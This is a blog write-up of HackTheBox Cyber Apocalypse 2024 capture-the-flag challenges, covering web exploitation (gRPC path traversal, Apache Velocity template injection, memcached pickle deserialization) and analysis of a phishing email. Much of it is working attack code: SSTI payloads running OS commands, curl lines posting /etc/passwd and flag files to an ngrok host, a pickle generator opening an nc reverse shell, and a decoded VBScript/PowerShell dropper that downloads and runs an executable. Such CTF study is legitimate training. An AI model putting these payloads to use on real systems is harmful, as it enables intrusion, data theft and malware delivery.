Home HackTheBox - Cyber Apocalypse 2024
Post
Cancel

HackTheBox - Cyber Apocalypse 2024

Cyber Apocalypse returns with a vengeance! Join the biggest hacking competition of the year.

Web

Flag Command

This challenge starts with website that contains a text-based game.

htb-cyberapocalyps-2024-flagcommand-homepage

Upon inspecting the JavaScript source code, we discover an endpoint /api/options which returns all possible commands.

1
2
3
4
5
6
7
8
9
10
const fetchOptions = () => {
    fetch('/api/options')
        .then((data) => data.json())
        .then((res) => {
            availableOptions = res.allPossibleCommands;

        })
        .catch(() => {
            availableOptions = undefined;
        })

A sample response from this endpoint reveals a secret command along with other possible commands. This list includes secret with the value “Blip-blop, in a pickle with a hiccup! Shmiggity-shmack”.

1
2
3
4
5
6
7
8
9
GET /api/options HTTP/1.1

Host: 94.237.52.91:32187
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://94.237.52.91:32187/
Connection: close
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
  "allPossibleCommands": {
    "1": [
      "HEAD NORTH",
      "HEAD WEST",
      "HEAD EAST",
      "HEAD SOUTH"
    ],
    "2": [
      "GO DEEPER INTO THE FOREST",
      "FOLLOW A MYSTERIOUS PATH",
      "CLIMB A TREE",
      "TURN BACK"
    ],
    "3": [
      "EXPLORE A CAVE",
      "CROSS A RICKETY BRIDGE",
      "FOLLOW A GLOWING BUTTERFLY",
      "SET UP CAMP"
    ],
    "4": [
      "ENTER A MAGICAL PORTAL",
      "SWIM ACROSS A MYSTERIOUS LAKE",
      "FOLLOW A SINGING SQUIRREL",
      "BUILD A RAFT AND SAIL DOWNSTREAM"
    ],
    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]
  }
}

Further examination reveals that commands are sent to the `/api/monitor endpoint:

1
2
3
4
5
6
7
        await fetch('/api/monitor', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ 'command': currentCommand })
        })

Sending a request with the secret command as the payload returns the flag.

Request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/monitor HTTP/1.1

Host: 94.237.52.91:32187
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://94.237.52.91:32187/
Content-Type: application/json
Content-Length: 68
Origin: http://94.237.52.91:32187
Connection: close

{"command":"Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"}

Response

1
2
3
4
{
  "message": "HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}"
}

Testimonial

This challenges provides a website that contains a bunch of testimonials. We get access to two servers, one for the website and one for the gPRC server.

htb-cyberapocalypse-2024-testimonial-homepage

There is a potential path traversal vulnerability in the gprc.go file, specifically in the SubmitTestimonial method. Both the customer and testimonial variables are written to the filesystem without undergoing validation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
    if req.Customer == "" {
        return nil, errors.New("Name is required")
    }
    if req.Testimonial == "" {
        return nil, errors.New("Content is required")
    }

    err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
    if err != nil {
        return nil, err
    }

    return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
}

This method is missing user input validation, presenting a potential exploitation vector. However, validation is present in the client.go file.

1
2
3
4
5
6
7
8
9
10
func (c *Client) SendTestimonial(customer, testimonial string) error {
    ctx := context.Background()
    // Filter bad characters.
    for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
        customer = strings.ReplaceAll(customer, char, "")
    }

    _, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
    return err
}

We can interact with gRPC using gprcurl and gprcui to bypass validation and send a request to overwrite the template files to be able to display the flag. We first need to compile the protoset we can find in the given source code and supply it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ cat ptypes.proto 
syntax = "proto3";

option go_package = "/pb";

service RickyService {
    rpc SubmitTestimonial(TestimonialSubmission) returns (GenericReply) {}
}

message TestimonialSubmission {
    string customer = 1;
    string testimonial = 2;
}

message GenericReply {
    string message = 1;
}                                                                                                                 
1
2
3
$ protoc --proto_path=. --descriptor_set_out=ptypes.protoset --include_imports ptypes.proto  
$ /opt/grpcurl -plaintext -protoset ptypes.protoset 94.237.62.237:30367 list               
RickyService

Using grpcui:

1
2
$ /opt/grpcui -plaintext -protoset ptypes.protoset 94.237.62.237:30367                              
gRPC Web UI available at http://127.0.0.1:38535/

htb-cyberapocalyps-2024-testimonial-gprcui

We can now creata a go method that reads out the files under root and their contents, to reveal the flag, then perform a request to overwrite index.templ to reveal sensitive information. Below is a potential Go payload we could use:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package home

import (
    "htbchal/view/layout"
    "io/fs"    
    "fmt"
    "os"
)

templ Index() {
    @layout.App(true) {
<div class="container">
  <section class="container mt-5">
      <h2 class="text-center mb-4">Contents of files under root:</h2>
      <div class="row">
          @RootFiles()
      </div>
  </section>
</div>
    }
}

func GetRootFiles() []string {
    fsys := os.DirFS("/")    
    files, err := fs.ReadDir(fsys, ".")        
    if err != nil {
        return []string{fmt.Sprintf("Error reading RootFiles: %v", err)}
    }
    var res []string
    for _, file := range files {
        fileContent, _ := fs.ReadFile(fsys, file.Name())
        res = append(res, string(fileContent))        
    }
    return res
}

templ RootFiles() {
  for _, item := range GetRootFiles() {
    <p class="card-text">"{item}"</p>
  }
}

We can now make a request to overwrite the template file.

Example request:

1
2
3
4
grpcurl -plaintext -d '{
  "customer": "../../view/home/index.templ",
  "testimonial": "template_code_here"
}' 94.237.63.83:56969 RickyService.SubmitTestimonial

Full request using grpcurl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
grpcurl -plaintext -d '{
  "customer": "../../view/home/index.templ",
  "testimonial": "package home\n\nimport (\n\t\"htbchal/view/layout\"\n\t\"io/fs\"\t\n\t\"fmt\"\n\t\"os\"\n)\n\ntempl Index() {\n\t@layout.App(true) {\n
\n  
\n      
Contents of files under root:
\n      
\n          @RootFiles()\n      
\n  
\n
\n\t}\n}\n\nfunc GetRootFiles() []string {\n\tfsys := os.DirFS(\"/\")\t\n\tfiles, err := fs.ReadDir(fsys, \".\")\t\t\n\tif err != nil {\n\t\treturn []string{fmt.Sprintf(\"Error reading RootFiles: %v\", err)}\n\t}\n\tvar res []string\n\tfor _, file := range files {\n\t\tfileContent, _ := fs.ReadFile(fsys, file.Name())\n\t\tres = append(res, string(fileContent))\t\t\n\t}\n\treturn res\n}\n\ntempl RootFiles() {\n  for _, item := range GetRootFiles() {\n    

\"{item}\"
\n  }\n}"
}' 83.136.254.221:52171 RickyService.SubmitTestimonial

Full request using gprcui: htb-cyberapocalyps-2024-testimonial-payload

htb-cyberapocalyps-2024-testimonial-flag

Flag: HTB{w34kly_t35t3d_t3mplate5}

Language Labyrinth

We get a webpage that translates text, we can tell from the source code that we get supplied that there is a parameter called “text” where we can supply our own text to be translatd.

htb-cyberapocalyps-2024-languagelabyrinth-homepage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class Main {

	@RequestMapping("/")
	@ResponseBody
	String index(@RequestParam(required = false, name = "text") String textString) {
		if (textString == null) {
			textString = "Example text";
		}

		String template = "";

        try {
            template = readFileToString("/app/src/main/resources/templates/index.html", textString);
        } catch (IOException e) {
            e.printStackTrace();
        }

		RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
		StringReader reader = new StringReader(template);

		org.apache.velocity.Template t = new org.apache.velocity.Template();
		t.setRuntimeServices(runtimeServices);
		try {

			t.setData(runtimeServices.parse(reader, "home"));
			t.initDocument();
			VelocityContext context = new VelocityContext();
			context.put("name", "World");

			StringWriter writer = new StringWriter();
			t.merge(context, writer);
			template = writer.toString();

		} catch (ParseException e) {
			e.printStackTrace();
		}

		return template;
	}
}

The text input gets included into the index.htm template.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Labyrinth Linguist 🌐</title>
    <link rel="stylesheet" href="/css/style.css">
</head>
<body>
    <form class="fire-form" action="" method="post">
        <span class="fire-form-text">Enter text to translate english to voxalith!</span><br><br>
        <input class="fire-form-input" type="text" name="text" value="">
        <input class="fire-form-button" type="submit" value="Submit →">
    </form>
    <h2 class="fire">TEXT</h2>
</body>
</html>

In the pom.xml file, we can tell the project is configured to use Apache Velocity templating engine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  <dependencies>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
      <groupId>org.apache.velocity</groupId>
      <artifactId>velocity</artifactId>
      <version>1.7</version>
    </dependency>
    <dependency>
      <groupId>org.apache.velocity</groupId>
      <artifactId>velocity</artifactId>
      <version>1.7</version>
    </dependency>
  </dependencies>

Researching this templating engine, we notice it is vulnerable to SSTI. The payload we will be using is `

Researching the Apache Velocity templating engine reveals a Server-Side Template Injection (SSTI) vulnerability. We intend to exploit this vulnerability using the payload:

1
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("<OS COMMAND>")

We can test the payload by executing arbitrary OS commands and contact our remote server via curl to contact our webserver. This payload needs to be URL encoded, using Burp CTRL+U shortcut.

1
2
3
4
5
6
7
8
9
10
GET /?text=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22curl+<NGROK URL>%22) HTTP/1.1

Host: 94.237.49.138:35384
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2

We can also read sensitive files using the curl <URL> -F data=@file in the above-mentioned payload.

1
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <NGROK URL>:<NGROK PORT> -F data=@/etc/passwd")

However, accessing the flag directly from the root directory is not feasible due to the random flag name as we can see in the source code:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt

# Secure entrypoint
chmod 600 /entrypoint.sh

# Start application
/usr/bin/supervisord -c /etc/supervisord.conf

To retrieve the flag, we need to execute a series of actions:

  1. Create a shell script that copies the content of all files that stat with “flag*” to a local file:
    1
    2
    3
    4
    
     $ cat copy_flag.sh                                  
     cat /flag* > flag.txt
     $ python3 -m http.server 80   
     Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    
    1
    
     #set($e="");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl https://<NGROK URL>/copy_flag.sh -o copy_flag.sh")
    
  2. Download the script to the server and put execution rights on the downloaded script:
    1
    
     #set($e="");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("chmod +x copy_flag.sh")
    
  3. Execute the script on the server:
    1
    
     #set($e="");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("./copy_flag.sh")
    
  4. Setup ngrok and nc to catch the POST request we will do in step 5:
    1
    2
    3
    4
    5
    6
    7
    8
    
     $ ngrok tcp 1234
     Web Interface                 http://127.0.0.1:4040                                                                     
     Forwarding                    tcp://0.tcp.eu.ngrok.io:11949 -> localhost:1234                                           
                                                                                                                                
     Connections                   ttl     opn     rt1     rt5     p50     p90                                               
                                 1       0       0.00    0.00    300.00  300.00   
     $ nc -lvnp 1234
     listening on [any] 1234 ...
    

    Note: At first I used $ python3 -m http.server but encountered a “code 501, message Unsupported method (‘POST’)” error. That’s why we use nc to catch this request. When you use nc to listen (-l) on a port, it simply captures the raw network traffic on that port without any understanding of the HTTP protocol or its methods.

  5. Get the contents of the newly created file to our own server:
    1
    
     #set($e="");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <NGROK URL> -F data=@flag.txt")
    
    1
    2
    3
    4
    5
    
     GET /?text=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22curl+0.tcp.eu.ngrok.io%3a11949+-F+data%3d%40flag.txt%22) HTTP/1.1
    
     Host: 94.237.58.148:32299
     User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
     Upgrade-Insecure-Requests: 1
    

We catch the request on our server and find the flag HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 36656
POST / HTTP/1.1
Host: 0.tcp.eu.ngrok.io:11949
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 224
Content-Type: multipart/form-data; boundary=------------------------fc8380e0574a94ce

--------------------------fc8380e0574a94ce
Content-Disposition: form-data; name="data"; filename="flag.txt"
Content-Type: text/plain

HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}
--------------------------fc8380e0574a94ce--

SerialFlow

We get a webpage that prints out a bunch of static text.

htb-cyberapocalyps-2024-serialflow-homepage

In the source code there is an endpoint “/set” that can set the UI color, but also memcached sessions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import pylibmc, uuid, sys
from flask import Flask, session, request, redirect, render_template
from flask_session import Session

app = Flask(__name__)

app.secret_key = uuid.uuid4()

app.config["SESSION_TYPE"] = "memcached"
app.config["SESSION_MEMCACHED"] = pylibmc.Client(["127.0.0.1:11211"])
app.config.from_object(__name__)

Session(app)

@app.before_request
def before_request():
    if session.get("session") and len(session["session"]) > 86:
        session["session"] = session["session"][:86]


@app.errorhandler(Exception)
def handle_error(error):
    message = error.description if hasattr(error, "description") else [str(x) for x in error.args]

    response = {
        "error": {
            "type": error.__class__.__name__,
            "message": message
        }
    }

    return response, error.code if hasattr(error, "code") else 500


@app.route("/set")
def set():
    uicolor = request.args.get("uicolor")

    if uicolor:
        session["uicolor"] = uicolor
    
    return redirect("/")


@app.route("/")
def main():
    uicolor = session.get("uicolor", "#f1f1f1")
    return render_template("index.html", uicolor=uicolor)

The application uses pylibmc to load the memchache. There is a way to inject commands via memchached sessions.

By using the python script provided in the blog, adjusted to our session (thus removing BT_) we can get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('nc <NGROK> -e /bin/bash')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE(), 0)
    payload_size = len(payload)
    cookie = b'137\r\nset 1337 0 2592000 '
    cookie += str.encode(str(payload_size))
    cookie += str.encode('\r\n')
    cookie += payload
    cookie += str.encode('\r\n')
    cookie += str.encode('get 1337')

    pack = ''
    for x in list(cookie):
        if x > 64:
            pack += oct(x).replace("0o","\\")
        elif x < 8:
            pack += oct(x).replace("0o","\\00")
        else:
            pack += oct(x).replace("0o","\\0")

    return f"\"{pack}\""

We can use the generated payload to set as a cookie and get access to the server to get the flag.

Flag: HTB{y0u_th0ught_th15_wou1d_b3_s1mpl3?}`

Forensics

Urgent

We received a “.eml” file from a phishing attempt. EML files are email messages saved by email applications, containing message content, sender, recipient(s), and date, along with possible attachments.

When viewing the file, we see there are attachments attached to this email file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ cat *.eml
X-Pm-Content-Encryption: end-to-end
X-Pm-Origin: internal
Subject: =?utf-8?Q?Urgent:_Faction_Recruitment_Opportunity_-_Join_Forces_Against_KORP=E2=84=A2_Tyranny!?=
From: anonmember1337 <anonmember1337@protonmail.com>
Date: Thu, 29 Feb 2024 12:52:17 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------2de0b0287d83378ead36e06aee64e4e5
To: factiongroups@gmail.com <factiongroups@gmail.com>
X-Attached: onlineform.html
Message-Id: <XVhH1Dg0VTGbfCjiZoHYDfUEfYdR0B0ppVem4t3oCwj6W21bavORQROAiXy84P6MKLpUKJmWRPw5C529AMwxhNiJ-8rfYzkdLjazI5feIQo=@protonmail.com>
X-Pm-Scheduled-Sent-Original-Time: Thu, 29 Feb 2024 12:52:05 +0000
X-Pm-Recipient-Authentication: factiongroups%40gmail.com=none
X-Pm-Recipient-Encryption: factiongroups%40gmail.com=none

-----------------------2de0b0287d83378ead36e06aee64e4e5
Content-Type: multipart/related;boundary=---------------------f4c91d2d4b35eb7cfece5203a97c3399

-----------------------f4c91d2d4b35eb7cfece5203a97c3399
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

<BASE64_BLOB>

-----------------------f4c91d2d4b35eb7cfece5203a97c3399--
-----------------------2de0b0287d83378ead36e06aee64e4e5
Content-Type: text/html; filename="onlineform.html"; name="onlineform.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="onlineform.html"; name="onlineform.html"

<BASE64_BLOB>

-----------------------2de0b0287d83378ead36e06aee64e4e5--

We can etract the attachments with the munpack tool.

The munpack program reads each RFC-822 message filename and writes all non-text MIME parts or split-uuencoded files as files. If no filename argument is given, munpack reads from standard input.

-t Also write the text MIME parts of multipart messages as files. By default, text parts that do not have a filename parameter do not get unpacked. This option effectively disables the “.desc” file feature for MIME messages.

1
2
3
$ munpack -t Urgent\ Faction\ Recruitment\ Opportunity\ -\ Join\ Forces\ Against\ KORP™\ Tyranny.eml 
part1 (text/html)
onlineform.html (text/html)

The “onlineform.html” contains obfuscated JavaScript.

1
2
3
4
5
6
7
8
9
10
$ cat onlineform.html 
<html>
<head>
<title></title>
<body>
<script language="JavaScript" type="text/javascript">
document.write(unescape('%3c%68%74%6d%6c%3e%0d%0a%3c%68%65%61%64%3e%0d%0a%3c%74%69%74%6c%65%3e%20%3e%5f%20%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%34%30%34%20%4e%6f%74%20%46%6f%75%6e%64%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%0d%0a%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%56%42%53%63%72%69%70%74%22%3e%0d%0a%53%75%62%20%77%69%6e%64%6f%77%5f%6f%6e%6c%6f%61%64%0d%0a%09%63%6f%6e%73%74%20%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%20%3d%20%33%0d%0a%09%43%6f%6e%73%74%20%48%49%44%44%45%4e%5f%57%49%4e%44%4f%57%20%3d%20%31%32%0d%0a%09%53%65%74%20%4c%6f%63%61%74%6f%72%20%3d%20%43%72%65%61%74%65%4f%62%6a%65%63%74%28%22%57%62%65%6d%53%63%72%69%70%74%69%6e%67%2e%53%57%62%65%6d%4c%6f%63%61%74%6f%72%22%29%0d%0a%09%53%65%74%20%53%65%72%76%69%63%65%20%3d%20%4c%6f%63%61%74%6f%72%2e%43%6f%6e%6e%65%63%74%53%65%72%76%65%72%28%29%0d%0a%09%53%65%72%76%69%63%65%2e%53%65%63%75%72%69%74%79%5f%2e%49%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%4c%65%76%65%6c%3d%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%0d%0a%09%53%65%74%20%6f%62%6a%53%74%61%72%74%75%70%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%53%74%61%72%74%75%70%22%29%0d%0a%09%53%65%74%20%6f%62%6a%43%6f%6e%66%69%67%20%3d%20%6f%62%6a%53%74%61%72%74%75%70%2e%53%70%61%77%6e%49%6e%73%74%61%6e%63%65%5f%0d%0a%09%53%65%74%20%50%72%6f%63%65%73%73%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%22%29%0d%0a%09%45%72%72%6f%72%20%3d%20%50%72%6f%63%65%73%73%2e%43%72%65%61%74%65%28%22%63%6d%64%2e%65%78%65%20%2f%63%20%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%68%69%64%64%65%6e%20%28%4e%65%77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d%2e%4e%65%74%2e%57%65%62%43%6c%69%65%6e%74%29%2e%44%6f%77%6e%6c%6f%61%64%46%69%6c%65%28%27%68%74%74%70%73%3a%2f%2f%73%74%61%6e%64%75%6e%69%74%65%64%2e%68%74%62%2f%6f%6e%6c%69%6e%65%2f%66%6f%72%6d%73%2f%66%6f%72%6d%31%2e%65%78%65%27%2c%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%29%3b%53%74%61%72%74%2d%50%72%6f%63%65%73%73%20%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%3b%24%66%6c%61%67%3d%27%48%54%42%7b%34%6e%30%74%68%33%72%5f%64%34%79%5f%34%6e%30%74%68%33%72%5f%70%68%31%73%68%69%31%6e%67%5f%34%74%74%33%6d%70%54%7d%22%2c%20%6e%75%6c%6c%2c%20%6f%62%6a%43%6f%6e%66%69%67%2c%20%69%6e%74%50%72%6f%63%65%73%73%49%44%29%0d%0a%09%77%69%6e%64%6f%77%2e%63%6c%6f%73%65%28%29%0d%0a%65%6e%64%20%73%75%62%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c%2f%68%65%61%64%3e%0d%0a%3c%2f%68%74%6d%6c%3e%0d%0a'));
</script>
</body>
</html>

We use node to execute this javascript and print the unescaped output.

1
$ node -e "console.log(unescape('%3c%68%74%6d%6c%3e%0d%0a%3c%68%65%61%64%3e%0d%0a%3c%74%69%74%6c%65%3e%20%3e%5f%20%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%34%30%34%20%4e%6f%74%20%46%6f%75%6e%64%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%0d%0a%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%56%42%53%63%72%69%70%74%22%3e%0d%0a%53%75%62%20%77%69%6e%64%6f%77%5f%6f%6e%6c%6f%61%64%0d%0a%09%63%6f%6e%73%74%20%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%20%3d%20%33%0d%0a%09%43%6f%6e%73%74%20%48%49%44%44%45%4e%5f%57%49%4e%44%4f%57%20%3d%20%31%32%0d%0a%09%53%65%74%20%4c%6f%63%61%74%6f%72%20%3d%20%43%72%65%61%74%65%4f%62%6a%65%63%74%28%22%57%62%65%6d%53%63%72%69%70%74%69%6e%67%2e%53%57%62%65%6d%4c%6f%63%61%74%6f%72%22%29%0d%0a%09%53%65%74%20%53%65%72%76%69%63%65%20%3d%20%4c%6f%63%61%74%6f%72%2e%43%6f%6e%6e%65%63%74%53%65%72%76%65%72%28%29%0d%0a%09%53%65%72%76%69%63%65%2e%53%65%63%75%72%69%74%79%5f%2e%49%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%4c%65%76%65%6c%3d%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%0d%0a%09%53%65%74%20%6f%62%6a%53%74%61%72%74%75%70%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%53%74%61%72%74%75%70%22%29%0d%0a%09%53%65%74%20%6f%62%6a%43%6f%6e%66%69%67%20%3d%20%6f%62%6a%53%74%61%72%74%75%70%2e%53%70%61%77%6e%49%6e%73%74%61%6e%63%65%5f%0d%0a%09%53%65%74%20%50%72%6f%63%65%73%73%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%22%29%0d%0a%09%45%72%72%6f%72%20%3d%20%50%72%6f%63%65%73%73%2e%43%72%65%61%74%65%28%22%63%6d%64%2e%65%78%65%20%2f%63%20%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%68%69%64%64%65%6e%20%28%4e%65%77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d%2e%4e%65%74%2e%57%65%62%43%6c%69%65%6e%74%29%2e%44%6f%77%6e%6c%6f%61%64%46%69%6c%65%28%27%68%74%74%70%73%3a%2f%2f%73%74%61%6e%64%75%6e%69%74%65%64%2e%68%74%62%2f%6f%6e%6c%69%6e%65%2f%66%6f%72%6d%73%2f%66%6f%72%6d%31%2e%65%78%65%27%2c%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%29%3b%53%74%61%72%74%2d%50%72%6f%63%65%73%73%20%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%3b%24%66%6c%61%67%3d%27%48%54%42%7b%34%6e%30%74%68%33%72%5f%64%34%79%5f%34%6e%30%74%68%33%72%5f%70%68%31%73%68%69%31%6e%67%5f%34%74%74%33%6d%70%54%7d%22%2c%20%6e%75%6c%6c%2c%20%6f%62%6a%43%6f%6e%66%69%67%2c%20%69%6e%74%50%72%6f%63%65%73%73%49%44%29%0d%0a%09%77%69%6e%64%6f%77%2e%63%6c%6f%73%65%28%29%0d%0a%65%6e%64%20%73%75%62%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c%2f%68%65%61%64%3e%0d%0a%3c%2f%68%74%6d%6c%3e%0d%0a'))"

This reveals the HTML that downloads and executes a dropper.

A dropper is a component of malware whose primary function is to deliver and install the malicious payload onto the victim’s system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<head>
<title> >_ </title>
<center><h1>404 Not Found</h1></center>
<script language="VBScript">
Sub window_onload
        const impersonation = 3
        Const HIDDEN_WINDOW = 12
        Set Locator = CreateObject("WbemScripting.SWbemLocator")
        Set Service = Locator.ConnectServer()
        Service.Security_.ImpersonationLevel=impersonation
        Set objStartup = Service.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        Set Process = Service.Get("Win32_Process")
        Error = Process.Create("cmd.exe /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://standunited.htb/online/forms/form1.exe','%appdata%\form1.exe');Start-Process '%appdata%\form1.exe';$flag='HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}", null, objConfig, intProcessID)
        window.close()
end sub
</script>
</head>
</html>

The output HTML also contains the flag: HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}.

This post is licensed under CC BY 4.0 by the author.